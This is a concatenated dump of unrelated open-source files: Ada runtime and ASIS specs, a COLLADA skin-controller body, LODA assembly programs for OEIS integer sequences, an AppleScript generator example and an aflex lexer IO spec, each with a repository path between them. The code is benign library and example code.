------------------------------------------------------------------------------ -- -- -- GNAT RUNTIME COMPONENTS -- -- -- -- S Y S T E M . W C H _ S T W -- -- -- -- S p e c -- -- -- -- $Revision: 2 $ -- -- -- -- Copyright (c) 1992,1993,1994 NYU, All Rights Reserved -- -- -- -- The GNAT library is free software; you can redistribute it and/or modify -- -- it under terms of the GNU Library General Public License as published by -- -- the Free Software Foundation; either version 2, or (at your option) any -- -- later version. The GNAT library is distributed in the hope that it will -- -- be useful, but WITHOUT ANY WARRANTY; without even the implied warranty -- -- of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -- -- Library General Public License for more details. You should have -- -- received a copy of the GNU Library General Public License along with -- -- the GNAT library; see the file COPYING.LIB. If not, write to the Free -- -- Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. -- -- -- ------------------------------------------------------------------------------ -- This package contains the routine used to convert strings to wide -- strings for use by wide character attributes (value, image etc.) with System.WCh_Con; package System.WCh_StW is pragma Pure (WCh_StW); function String_To_Wide_String (S : String; EM : System.WCh_Con.WC_Encoding_Method) return Wide_String; -- This routine simply takes its argument and converts it to wide string -- format. In the context of the Wide_Image attribute, the argument is -- the corresponding 'Image attribute. Any wide character escape sequences -- in the string are converted to the corresponding wide character value. -- No syntax checks are made, it is assumed that any such sequences are -- validly formed (this must be assured by the caller, and results from -- the fact that Wide_Image is only used on strings that have been built -- by the compiler, such as images of enumeration literals. If the method -- for encoding is a shift-in, shift-out convention, then it is assumed -- that normal (non-wide character) mode holds at the start and end of -- the argument string. EM indicates the wide character encoding method. end System.WCh_StW;
2-low/collada/source/collada-library-controllers.adb
charlie5/lace
20
29613
<reponame>charlie5/lace package body collada.Library.controllers is ----------- --- Utility -- function "+" (From : in ada.Strings.unbounded.unbounded_String) return String renames ada.Strings.unbounded.to_String; ------------------ --- vertex weights -- function joint_Offset_of (Self : in vertex_Weights) return math.Index is the_Input : constant Input_t := find_in (Self.Inputs.all, Joint); begin return math.Index (the_Input.Offset); end joint_Offset_of; function weight_Offset_of (Self : in vertex_Weights) return math.Index is the_Input : constant Input_t := find_in (Self.Inputs.all, Weight); begin return math.Index (the_Input.Offset); end weight_Offset_of; -------- --- Skin -- function Source_of (Self : in Skin; source_Name : in String) return Source is use ada.Strings.unbounded; begin for i in Self.Sources'Range loop if Self.Sources (i).Id = source_Name (source_Name'First+1 .. source_Name'Last) then return Self.Sources (i); end if; end loop; declare null_Source : Source; begin return null_Source; end; end Source_of; function Weights_of (Self : in Skin) return access float_Array is the_Input : constant Input_t := find_in (Self.vertex_weights.Inputs.all, Weight); begin if the_Input = null_Input then return null; end if; declare the_Source : constant Source := Source_of (Self, +the_Input.Source); begin return the_Source.Floats; end; end Weights_of; function raw_bind_Poses_of (Self : in Skin) return access float_Array is the_Input : constant Input_t := find_in (Self.joints.Inputs.all, inv_bind_Matrix); begin if the_Input = null_Input then return null; end if; declare the_Source : constant Source := Source_of (Self, +the_Input.Source); begin return the_Source.Floats; end; end raw_bind_Poses_of; function bind_shape_Matrix_of (Self : in Skin) return Matrix_4x4 is Raw : constant float_Array := Self.bind_shape_Matrix; First : constant math.Index := 1; the_Matrix : Matrix_4x4; begin the_Matrix := (1 => (Raw (First), Raw (First+1), Raw (First+2), Raw (First+3)), -- These are column vectors. 2 => (Raw (First+4), Raw (First+5), Raw (First+6), Raw (First+7)), 3 => (Raw (First+8), Raw (First+9), Raw (First+10), Raw (First+11)), 4 => (Raw (First+12), Raw (First+13), Raw (First+14), Raw (First+15))); return the_Matrix; end bind_shape_Matrix_of; function bind_Poses_of (Self : in Skin) return Matrix_4x4_array is Raw : constant access float_Array := raw_bind_Poses_of (Self); the_Poses : Matrix_4x4_array (1 .. Raw'Length / 16); First : math.Index := 1; begin for i in the_Poses'Range loop the_Poses (i) := (1 => (Raw (First), Raw (First+1), Raw (First+2), Raw (First+3)), -- These are column vectors. 2 => (Raw (First+4), Raw (First+5), Raw (First+6), Raw (First+7)), 3 => (Raw (First+8), Raw (First+9), Raw (First+10), Raw (First+11)), 4 => (Raw (First+12), Raw (First+13), Raw (First+14), Raw (First+15))); First := First + 16; end loop; return the_Poses; end bind_Poses_of; function joint_Names_of (Self : in Skin) return Text_array is the_Input : constant Input_t := find_in (Self.Joints.Inputs.all, Joint); begin declare the_Source : constant Source := Source_of (Self, +the_Input.Source); begin return the_Source.Texts.all; end; end joint_Names_of; end collada.Library.controllers;
oeis/227/A227259.asm
neoneye/loda-programs
11
166559
; A227259: Number of n X 2 0,1 arrays indicating 2 X 2 subblocks of some larger (n+1) X 3 binary array having a sum of two or less, with rows and columns of the latter in lexicographically nondecreasing order. ; Submitted by <NAME> ; 3,9,23,50,96,168,274,423,625,891,1233,1664,2198,2850,3636,4573,5679,6973,8475,10206,12188,14444,16998,19875,23101,26703,30709,35148,40050,45446,51368,57849,64923,72625,80991,90058,99864,110448,121850,134111,147273,161379,176473,192600,209806,228138,247644,268373,290375,313701,338403,364534,392148,421300,452046,484443,518549,554423,592125,631716,673258,716814,762448,810225,860211,912473,967079,1024098,1083600,1145656,1210338,1277719,1347873,1420875,1496801,1575728,1657734,1742898,1831300,1923021 mov $1,$0 add $1,2 mov $2,$0 sub $3,$0 mov $0,8 lpb $0 div $0,4 add $2,$1 bin $1,2 add $1,$2 mul $2,$3 lpe mov $0,$1 div $0,3 add $0,1
programs/oeis/047/A047460.asm
karttu/loda
0
177384
; A047460: Numbers that are congruent to {0, 1, 3, 4} mod 8. ; 0,1,3,4,8,9,11,12,16,17,19,20,24,25,27,28,32,33,35,36,40,41,43,44,48,49,51,52,56,57,59,60,64,65,67,68,72,73,75,76,80,81,83,84,88,89,91,92,96,97,99,100,104,105,107,108,112,113,115,116,120,121,123,124,128,129,131,132,136,137,139,140,144,145,147,148,152,153,155,156,160,161,163,164,168,169,171,172,176,177,179,180,184,185,187,188,192,193,195,196,200,201,203,204,208,209,211,212,216,217,219,220,224,225,227,228,232,233,235,236,240,241,243,244,248,249,251,252,256,257,259,260,264,265,267,268,272,273,275,276,280,281,283,284,288,289,291,292,296,297,299,300,304,305,307,308,312,313,315,316,320,321,323,324,328,329,331,332,336,337,339,340,344,345,347,348,352,353,355,356,360,361,363,364,368,369,371,372,376,377,379,380,384,385,387,388,392,393,395,396,400,401,403,404,408,409,411,412,416,417,419,420,424,425,427,428,432,433,435,436,440,441,443,444,448,449,451,452,456,457,459,460,464,465,467,468,472,473,475,476,480,481,483,484,488,489,491,492,496,497 add $0,12 lpb $0,1 mov $1,$0 mod $0,4 lpe mul $1,4 sub $1,$0 div $1,2 sub $1,24
Task/Generator-Exponential/AppleScript/generator-exponential.applescript
LaudateCorpus1/RosettaCodeData
1
4681
-- powers :: Gen [Int] on powers(n) script f on |λ|(x) x ^ n as integer end |λ| end script fmapGen(f, enumFrom(0)) end powers -- TEST --------------------------------------------------- on run take(10, ¬ drop(20, ¬ differenceGen(powers(2), powers(3)))) --> {529, 576, 625, 676, 784, 841, 900, 961, 1024, 1089} end run -- GENERIC ------------------------------------------------ -- Just :: a -> Maybe a on Just(x) {type:"Maybe", Nothing:false, Just:x} end Just -- Nothing :: Maybe a on Nothing() {type:"Maybe", Nothing:true} end Nothing -- Tuple (,) :: a -> b -> (a, b) on Tuple(a, b) {type:"Tuple", |1|:a, |2|:b, length:2} end Tuple -- differenceGen :: Gen [a] -> Gen [a] -> Gen [a] on differenceGen(ga, gb) -- All values of ga except any -- already seen in gb. script property g : zipGen(ga, gb) property bs : {} property xy : missing value on |λ|() set xy to g's |λ|() if missing value is xy then xy else set x to |1| of xy set y to |2| of xy set bs to {y} & bs if bs contains x then |λ|() -- Next in series. else x end if end if end |λ| end script end differenceGen -- drop :: Int -> [a] -> [a] -- drop :: Int -> String -> String on drop(n, xs) set c to class of xs if script is not c then if string is not c then if n < length of xs then items (1 + n) thru -1 of xs else {} end if else if n < length of xs then text (1 + n) thru -1 of xs else "" end if end if else take(n, xs) -- consumed return xs end if end drop -- enumFrom :: Int -> [Int] on enumFrom(x) script property v : missing value on |λ|() if missing value is not v then set v to 1 + v else set v to x end if return v end |λ| end script end enumFrom -- fmapGen <$> :: (a -> b) -> Gen [a] -> Gen [b] on fmapGen(f, gen) script property g : mReturn(f) on |λ|() set v to gen's |λ|() if v is missing value then v else g's |λ|(v) end if end |λ| end script end fmapGen -- length :: [a] -> Int on |length|(xs) set c to class of xs if list is c or string is c then length of xs else (2 ^ 29 - 1) -- (maxInt - simple proxy for non-finite) end if end |length| -- Lift 2nd class handler function into 1st class script wrapper -- mReturn :: First-class m => (a -> b) -> m (a -> b) on mReturn(f) if script is class of f then f else script property |λ| : f end script end if end mReturn -- take :: Int -> [a] -> [a] -- take :: Int -> String -> String on take(n, xs) set c to class of xs if list is c then if 0 < n then items 1 thru min(n, length of xs) of xs else {} end if else if string is c then if 0 < n then text 1 thru min(n, length of xs) of xs else "" end if else if script is c then set ys to {} repeat with i from 1 to n set v to xs's |λ|() if missing value is v then return ys else set end of ys to v end if end repeat return ys else missing value end if end take -- uncons :: [a] -> Maybe (a, [a]) on uncons(xs) set lng to |length|(xs) if 0 = lng then Nothing() else if (2 ^ 29 - 1) as integer > lng then if class of xs is string then set cs to text items of xs Just(Tuple(item 1 of cs, rest of cs)) else Just(Tuple(item 1 of xs, rest of xs)) end if else set nxt to take(1, xs) if {} is nxt then Nothing() else Just(Tuple(item 1 of nxt, xs)) end if end if end if end uncons -- zipGen :: Gen [a] -> Gen [b] -> Gen [(a, b)] on zipGen(ga, gb) script property ma : missing value property mb : missing value on |λ|() if missing value is ma then set ma to uncons(ga) set mb to uncons(gb) end if if Nothing of ma or Nothing of mb then missing value else set ta to Just of ma set tb to Just of mb set x to Tuple(|1| of ta, |1| of tb) set ma to uncons(|2| of ta) set mb to uncons(|2| of tb) return x end if end |λ| end script end zipGen
.build/ada/asis-gela-elements.ads
faelys/gela-asis
4
8342
------------------------------------------------------------------------------ -- Copyright (c) 2006-2013, <NAME> -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions are met: -- -- * Redistributions of source code must retain the above copyright notice, -- this list of conditions and the following disclaimer. -- * Redistributions in binary form must reproduce the above copyright -- notice, this list of conditions and the following disclaimer in the -- documentation and/or other materials provided with the distribution. -- * Neither the name of the <NAME>, IE nor the names of its -- contributors may be used to endorse or promote products derived from -- this software without specific prior written permission. -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE -- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- POSSIBILITY OF SUCH DAMAGE. ------------------------------------------------------------------------------ with Asis.Gela.Lists; use Asis.Gela.Lists; with Asis.Gela.Visibility; package Asis.Gela.Elements is ----------------------- -- Base_Element_Node -- ----------------------- type Base_Element_Node is abstract new Element_Node with private; type Base_Element_Ptr is access all Base_Element_Node; for Base_Element_Ptr'Storage_Pool use Lists.Pool; function Enclosing_Element (Element : Base_Element_Node) return Asis.Element; procedure Set_Enclosing_Element (Element : in out Base_Element_Node; Value : in Asis.Element); function Next_Element (Element : Base_Element_Node) return Asis.Element; procedure Set_Next_Element (Element : in out Base_Element_Node; Value : in Asis.Element); function Is_Part_Of_Implicit (Element : Base_Element_Node) return Boolean; procedure Set_Is_Part_Of_Implicit (Element : in out Base_Element_Node; Value : in Boolean); function Is_Part_Of_Inherited (Element : Base_Element_Node) return Boolean; procedure Set_Is_Part_Of_Inherited (Element : in out Base_Element_Node; Value : in Boolean); function Is_Part_Of_Instance (Element : Base_Element_Node) return Boolean; procedure Set_Is_Part_Of_Instance (Element : in out Base_Element_Node; Value : in Boolean); function Start_Position (Element : Base_Element_Node) return Asis.Text_Position; procedure Set_Start_Position (Element : in out Base_Element_Node; Value : in Asis.Text_Position); function End_Position (Element : Base_Element_Node) return Asis.Text_Position; procedure Set_End_Position (Element : in out Base_Element_Node; Value : in Asis.Text_Position); function Enclosing_Compilation_Unit (Element : Base_Element_Node) return Asis.Compilation_Unit; procedure Set_Enclosing_Compilation_Unit (Element : in out Base_Element_Node; Value : in Asis.Compilation_Unit); function Hash (Element : Base_Element_Node) return Asis.ASIS_Integer; procedure Set_Hash (Element : in out Base_Element_Node; Value : in Asis.ASIS_Integer); ----------------- -- Pragma_Node -- ----------------- type Pragma_Node is new Base_Element_Node with private; type Pragma_Ptr is access all Pragma_Node; for Pragma_Ptr'Storage_Pool use Lists.Pool; function New_Pragma_Node (The_Context : ASIS.Context) return Pragma_Ptr; function Pragma_Kind (Element : Pragma_Node) return Asis.Pragma_Kinds; procedure Set_Pragma_Kind (Element : in out Pragma_Node; Value : in Asis.Pragma_Kinds); function Pragma_Name_Image (Element : Pragma_Node) return Wide_String; procedure Set_Pragma_Name_Image (Element : in out Pragma_Node; Value : in Wide_String); function Pragma_Argument_Associations (Element : Pragma_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Set_Pragma_Argument_Associations (Element : in out Pragma_Node; Value : in Asis.Element); function Pragma_Argument_Associations_List (Element : Pragma_Node) return Asis.Element; function Element_Kind (Element : Pragma_Node) return Asis.Element_Kinds; function Children (Element : access Pragma_Node) return Traverse_List; function Clone (Element : Pragma_Node; Parent : Asis.Element) return Asis.Element; procedure Copy (Source : in Asis.Element; Target : access Pragma_Node; Cloner : in Cloner_Class; Parent : in Asis.Element); ------------------------ -- Defining_Name_Node -- ------------------------ type Defining_Name_Node is abstract new Base_Element_Node with private; type Defining_Name_Ptr is access all Defining_Name_Node; for Defining_Name_Ptr'Storage_Pool use Lists.Pool; function Defining_Name_Image (Element : Defining_Name_Node) return Wide_String; procedure Set_Defining_Name_Image (Element : in out Defining_Name_Node; Value : in Wide_String); function Corresponding_Constant_Declaration (Element : Defining_Name_Node) return Asis.Element; procedure Set_Corresponding_Constant_Declaration (Element : in out Defining_Name_Node; Value : in Asis.Element); function References (Element : Defining_Name_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Add_To_References (Element : in out Defining_Name_Node; Item : in Asis.Element); function Corresponding_Generic_Element (Element : Defining_Name_Node) return Asis.Defining_Name; procedure Set_Corresponding_Generic_Element (Element : in out Defining_Name_Node; Value : in Asis.Defining_Name); function Override (Element : Defining_Name_Node) return Asis.Defining_Name; procedure Set_Override (Element : in out Defining_Name_Node; Value : in Asis.Defining_Name); function Place (Element : Defining_Name_Node) return Visibility.Region_Item_Access; procedure Set_Place (Element : in out Defining_Name_Node; Value : in Visibility.Region_Item_Access); function Element_Kind (Element : Defining_Name_Node) return Asis.Element_Kinds; ---------------------- -- Declaration_Node -- ---------------------- type Declaration_Node is abstract new Base_Element_Node with private; type Declaration_Ptr is access all Declaration_Node; for Declaration_Ptr'Storage_Pool use Lists.Pool; function Declaration_Origin (Element : Declaration_Node) return Asis.Declaration_Origins; procedure Set_Declaration_Origin (Element : in out Declaration_Node; Value : in Asis.Declaration_Origins); function Name (Element : Declaration_Node) return Asis.Element; procedure Set_Name (Element : in out Declaration_Node; Value : in Asis.Element); function Names (Element : Declaration_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Set_Names (Element : in out Declaration_Node; Value : in Asis.Element); function Names_List (Element : Declaration_Node) return Asis.Element; function Corresponding_Representation_Clauses (Element : Declaration_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Add_To_Corresponding_Representation_Clauses (Element : in out Declaration_Node; Item : in Asis.Element); function Corresponding_Pragmas (Element : Declaration_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Add_To_Corresponding_Pragmas (Element : in out Declaration_Node; Item : in Asis.Element); function Place (Element : Declaration_Node) return Visibility.Region_Item_Access; procedure Set_Place (Element : in out Declaration_Node; Value : in Visibility.Region_Item_Access); function Element_Kind (Element : Declaration_Node) return Asis.Element_Kinds; function Children (Element : access Declaration_Node) return Traverse_List; --------------------- -- Definition_Node -- --------------------- type Definition_Node is abstract new Base_Element_Node with private; type Definition_Ptr is access all Definition_Node; for Definition_Ptr'Storage_Pool use Lists.Pool; function Element_Kind (Element : Definition_Node) return Asis.Element_Kinds; --------------------- -- Expression_Node -- --------------------- type Expression_Node is abstract new Base_Element_Node with private; type Expression_Ptr is access all Expression_Node; for Expression_Ptr'Storage_Pool use Lists.Pool; function Corresponding_Expression_Type (Element : Expression_Node) return Asis.Element; procedure Set_Corresponding_Expression_Type (Element : in out Expression_Node; Value : in Asis.Element); function Is_Static_Expression (Element : Expression_Node) return Asis.Gela.Fuzzy_Boolean; procedure Set_Is_Static_Expression (Element : in out Expression_Node; Value : in Asis.Gela.Fuzzy_Boolean); function Element_Kind (Element : Expression_Node) return Asis.Element_Kinds; ---------------------- -- Association_Node -- ---------------------- type Association_Node is abstract new Base_Element_Node with private; type Association_Ptr is access all Association_Node; for Association_Ptr'Storage_Pool use Lists.Pool; function Element_Kind (Element : Association_Node) return Asis.Element_Kinds; -------------------- -- Statement_Node -- -------------------- type Statement_Node is abstract new Base_Element_Node with private; type Statement_Ptr is access all Statement_Node; for Statement_Ptr'Storage_Pool use Lists.Pool; function Label_Names (Element : Statement_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Set_Label_Names (Element : in out Statement_Node; Value : in Asis.Element); function Label_Names_List (Element : Statement_Node) return Asis.Element; function Corresponding_Pragmas (Element : Statement_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Add_To_Corresponding_Pragmas (Element : in out Statement_Node; Item : in Asis.Element); function Place (Element : Statement_Node) return Visibility.Region_Item_Access; procedure Set_Place (Element : in out Statement_Node; Value : in Visibility.Region_Item_Access); function Element_Kind (Element : Statement_Node) return Asis.Element_Kinds; function Children (Element : access Statement_Node) return Traverse_List; --------------- -- Path_Node -- --------------- type Path_Node is abstract new Base_Element_Node with private; type Path_Ptr is access all Path_Node; for Path_Ptr'Storage_Pool use Lists.Pool; function Sequence_Of_Statements (Element : Path_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Set_Sequence_Of_Statements (Element : in out Path_Node; Value : in Asis.Element); function Sequence_Of_Statements_List (Element : Path_Node) return Asis.Element; function Element_Kind (Element : Path_Node) return Asis.Element_Kinds; function Children (Element : access Path_Node) return Traverse_List; ----------------- -- Clause_Node -- ----------------- type Clause_Node is abstract new Base_Element_Node with private; type Clause_Ptr is access all Clause_Node; for Clause_Ptr'Storage_Pool use Lists.Pool; function Place (Element : Clause_Node) return Visibility.Region_Item_Access; procedure Set_Place (Element : in out Clause_Node; Value : in Visibility.Region_Item_Access); function Element_Kind (Element : Clause_Node) return Asis.Element_Kinds; ---------------------------- -- Exception_Handler_Node -- ---------------------------- type Exception_Handler_Node is new Base_Element_Node with private; type Exception_Handler_Ptr is access all Exception_Handler_Node; for Exception_Handler_Ptr'Storage_Pool use Lists.Pool; function New_Exception_Handler_Node (The_Context : ASIS.Context) return Exception_Handler_Ptr; function Choice_Parameter_Specification (Element : Exception_Handler_Node) return Asis.Element; procedure Set_Choice_Parameter_Specification (Element : in out Exception_Handler_Node; Value : in Asis.Element); function Exception_Choices (Element : Exception_Handler_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Set_Exception_Choices (Element : in out Exception_Handler_Node; Value : in Asis.Element); function Exception_Choices_List (Element : Exception_Handler_Node) return Asis.Element; function Handler_Statements (Element : Exception_Handler_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Set_Handler_Statements (Element : in out Exception_Handler_Node; Value : in Asis.Element); function Handler_Statements_List (Element : Exception_Handler_Node) return Asis.Element; function Pragmas (Element : Exception_Handler_Node; Include_Pragmas : in Boolean := False) return Asis.Element_List; procedure Set_Pragmas (Element : in out Exception_Handler_Node; Value : in Asis.Element); function Pragmas_List (Element : Exception_Handler_Node) return Asis.Element; function Place (Element : Exception_Handler_Node) return Visibility.Region_Item_Access; procedure Set_Place (Element : in out Exception_Handler_Node; Value : in Visibility.Region_Item_Access); function Element_Kind (Element : Exception_Handler_Node) return Asis.Element_Kinds; function Children (Element : access Exception_Handler_Node) return Traverse_List; function Clone (Element : Exception_Handler_Node; Parent : Asis.Element) return Asis.Element; procedure Copy (Source : in Asis.Element; Target : access Exception_Handler_Node; Cloner : in Cloner_Class; Parent : in Asis.Element); private type Base_Element_Node is abstract new Element_Node with record Enclosing_Element : aliased Asis.Element; Next_Element : aliased Asis.Element; Is_Part_Of_Implicit : aliased Boolean := False; Is_Part_Of_Inherited : aliased Boolean := False; Is_Part_Of_Instance : aliased Boolean := False; Start_Position : aliased Asis.Text_Position; End_Position : aliased Asis.Text_Position; Enclosing_Compilation_Unit : aliased Asis.Compilation_Unit; Hash : aliased Asis.ASIS_Integer := Next_Hash; end record; type Pragma_Node is new Base_Element_Node with record Pragma_Kind : aliased Asis.Pragma_Kinds := Not_A_Pragma; Pragma_Name_Image : aliased Unbounded_Wide_String; Pragma_Argument_Associations : aliased Primary_Association_Lists.List; end record; type Defining_Name_Node is abstract new Base_Element_Node with record Defining_Name_Image : aliased Unbounded_Wide_String; Corresponding_Constant_Declaration : aliased Asis.Element; References : aliased Secondary_Reference_Lists.List_Node; Corresponding_Generic_Element : aliased Asis.Defining_Name; Override : aliased Asis.Defining_Name; Place : aliased Visibility.Region_Item_Access; end record; type Declaration_Node is abstract new Base_Element_Node with record Declaration_Origin : aliased Asis.Declaration_Origins := An_Explicit_Declaration; Name : aliased Asis.Element; Names : aliased Primary_Defining_Name_Lists.List; Corresponding_Representation_Clauses : aliased Secondary_Clause_Lists.List_Node; Corresponding_Pragmas : aliased Secondary_Pragma_Lists.List_Node; Place : aliased Visibility.Region_Item_Access; end record; type Definition_Node is abstract new Base_Element_Node with record null; end record; type Expression_Node is abstract new Base_Element_Node with record Corresponding_Expression_Type : aliased Asis.Element; Is_Static_Expression : aliased Asis.Gela.Fuzzy_Boolean := Unknown; end record; type Association_Node is abstract new Base_Element_Node with record null; end record; type Statement_Node is abstract new Base_Element_Node with record Label_Names : aliased Primary_Defining_Name_Lists.List; Corresponding_Pragmas : aliased Secondary_Pragma_Lists.List_Node; Place : aliased Visibility.Region_Item_Access; end record; type Path_Node is abstract new Base_Element_Node with record Sequence_Of_Statements : aliased Primary_Statement_Lists.List; end record; type Clause_Node is abstract new Base_Element_Node with record Place : aliased Visibility.Region_Item_Access; end record; type Exception_Handler_Node is new Base_Element_Node with record Choice_Parameter_Specification : aliased Asis.Element; Exception_Choices : aliased Primary_Choise_Lists.List; Handler_Statements : aliased Primary_Statement_Lists.List; Pragmas : aliased Primary_Pragma_Lists.List; Place : aliased Visibility.Region_Item_Access; end record; end Asis.Gela.Elements;
oeis/130/A130664.asm
neoneye/loda-programs
11
93259
; A130664: a(1)=1. a(n) = a(n-1) + (number of terms from among a(1) through a(n-1) which are factorials). ; Submitted by <NAME> ; 1,2,4,6,9,12,15,18,21,24,28,32,36,40,44,48,52,56,60,64,68,72,76,80,84,88,92,96,100,104,108,112,116,120,125,130,135,140,145,150,155,160,165,170,175,180,185,190,195,200,205,210,215,220,225,230,235,240,245,250,255,260,265,270,275,280,285,290,295,300,305,310,315,320,325,330,335,340,345,350,355,360,365,370,375,380,385,390,395,400,405,410,415,420,425,430,435,440,445,450 mov $2,$0 mov $0,1 mov $1,1 lpb $2 add $0,$2 add $1,1 mul $2,$1 trn $2,$0 lpe
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/a-slcain.adb
JCGobbi/Nucleo-STM32G474RE
0
5485
<filename>bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/a-slcain.adb ------------------------------------------------------------------------------ -- -- -- GNAT LIBRARY COMPONENTS -- -- -- -- ADA.STRINGS.LESS_CASE_INSENSITIVE -- -- -- -- B o d y -- -- -- -- Copyright (C) 2004-2021, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- -- -- -- -- -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- This unit was originally developed by <NAME>. -- ------------------------------------------------------------------------------ with Ada.Characters.Handling; use Ada.Characters.Handling; function Ada.Strings.Less_Case_Insensitive (Left, Right : String) return Boolean is LI : Integer := Left'First; RI : Integer := Right'First; LC, RC : Character; begin if LI > Left'Last then return RI <= Right'Last; end if; if RI > Right'Last then return False; end if; loop LC := To_Lower (Left (LI)); RC := To_Lower (Right (RI)); if LC < RC then return True; end if; if LC > RC then return False; end if; if LI = Left'Last then return RI < Right'Last; end if; if RI = Right'Last then return False; end if; LI := LI + 1; RI := RI + 1; end loop; end Ada.Strings.Less_Case_Insensitive;
vole_lex_io.ads
davidkristola/vole
4
23877
with vole_lex_dfa; use vole_lex_dfa; with text_io; use text_io; package vole_lex_io is user_input_file : file_type; user_output_file : file_type; NULL_IN_INPUT : exception; AFLEX_INTERNAL_ERROR : exception; UNEXPECTED_LAST_MATCH : exception; PUSHBACK_OVERFLOW : exception; AFLEX_SCANNER_JAMMED : exception; type eob_action_type is ( EOB_ACT_RESTART_SCAN, EOB_ACT_END_OF_FILE, EOB_ACT_LAST_MATCH ); YY_END_OF_BUFFER_CHAR : constant character:= ASCII.NUL; yy_n_chars : integer; -- number of characters read into yy_ch_buf -- true when we've seen an EOF for the current input file yy_eof_has_been_seen : boolean; procedure YY_INPUT(buf: out unbounded_character_array; result: out integer; max_size: in integer); function yy_get_next_buffer return eob_action_type; procedure yyunput( c : character; yy_bp: in out integer ); procedure unput(c : character); function input return character; procedure output(c : character); function yywrap return boolean; procedure Open_Input(fname : in String); procedure Close_Input; procedure Create_Output(fname : in String := ""); procedure Close_Output; end vole_lex_io;
kernel/data.asm
paulscottrobson/flat-color-forth
1
246397
<reponame>paulscottrobson/flat-color-forth ; *************************************************************************************** ; *************************************************************************************** ; ; Name : data.asm ; Author : <NAME> (<EMAIL>) ; Date : 20th December 2018 ; Purpose : Data area ; ; *************************************************************************************** ; *************************************************************************************** ; *************************************************************************************** ; ; System Information ; ; *************************************************************************************** SystemInformation: Here: ; +0 Here dw FreeMemory HerePage: ; +2 Here.Page db FirstCodePage,0 NextFreePage: ; +4 Next available code page (2 8k pages/page) db FirstCodePage+2,0,0,0 DisplayInfo: ; +8 Display information dw DisplayInformation,0 Parameter: ; +12 Third Parameter used in some functions. dw 0,0 WarmStartVector: ; +16 Warm Start vector. dw WarmStart,0 ; *************************************************************************************** ; ; Display system information ; ; *************************************************************************************** DisplayInformation: __DIScreenWidth: ; +0 screen width db 0,0,0,0 __DIScreenHeight: ; +4 screen height db 0,0,0,0 __DIScreenSize: ; +8 char size of screen dw 0,0 __DIScreenMode: ; +12 current mode db 0,0,0,0 __DIFontBase: ; font in use dw AlternateFont __DIScreenDriver: ; Screen Driver dw 0 ; *************************************************************************************** ; ; Other data and buffers ; ; *************************************************************************************** __ARegister: ; register values when not running. dw 0 __BRegister: dw 0 __PAGEStackPointer: ; stack used for switching pages dw 0 __PAGEStackBase: ds 16 __CLICurrentKey: ; current inkey state on CLI db 0 db $86 ; buffer for executing, tags it yellow effectively. __CLIBuffer: ds 20 SAVEFileHandle: db 0 SAVEDefaultDrive: db 0 FreeMemory: org $C000 db 0 ; start of dictionary, which is empty.
oeis/063/A063017.asm
neoneye/loda-programs
11
240562
; A063017: a(n) = Catalan(n)*(3^(n+1) - 2^(n+1) + 1)/2. ; Submitted by <NAME> ; 1,3,20,165,1484,13986,135960,1352637,13707980,141061206,1470489800,15500280978,164967244792,1770548369700,19143828730800,208347968093085,2280730450967820,25096531231958670,277445318198433000,3080106307677022470,34324626054260890920,383837382413585004060,4305845968519599800400,48442206041812208790450,546438904650601286293944,6179044568661510181532316,70029788084245094219671760,795342973845754467131787012,9050489929619514982214414960,103175854235007917815789782984,1178203738451820860249931445600 mov $2,$0 seq $0,108 ; Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!). seq $2,53156 ; Number of 2-element intersecting families (with not necessary distinct sets) whose union is an n-element set. mul $0,$2
programs/oeis/047/A047482.asm
neoneye/loda
22
13490
